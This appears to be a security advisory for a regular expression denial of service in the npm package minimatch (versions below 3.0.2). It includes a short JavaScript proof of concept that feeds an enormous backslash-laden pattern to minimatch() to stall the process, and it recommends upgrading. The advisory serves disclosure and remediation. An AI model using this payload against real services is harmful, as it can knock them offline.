GHSA-hxm2-r34f-qmc5HighCVSS 7.5

Regular Expression Denial of Service in minimatch

Published
October 9, 2018
Last Modified
September 11, 2023

🔗 CVE IDs covered (1)

📋 Description

Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).

Proof of Concept

var minimatch = require(“minimatch”);

// utility function for generating long strings
var genstr = function (len, chr) {
  var result = “”;
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
  return result;
}

var exploit = “[!” + genstr(1000000, “\\”) + “A”;

// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);

Recommendation

Update to version 3.0.2 or later.

🎯 Affected products1

  • npm/minimatch:< 3.0.2

🔗 References (3)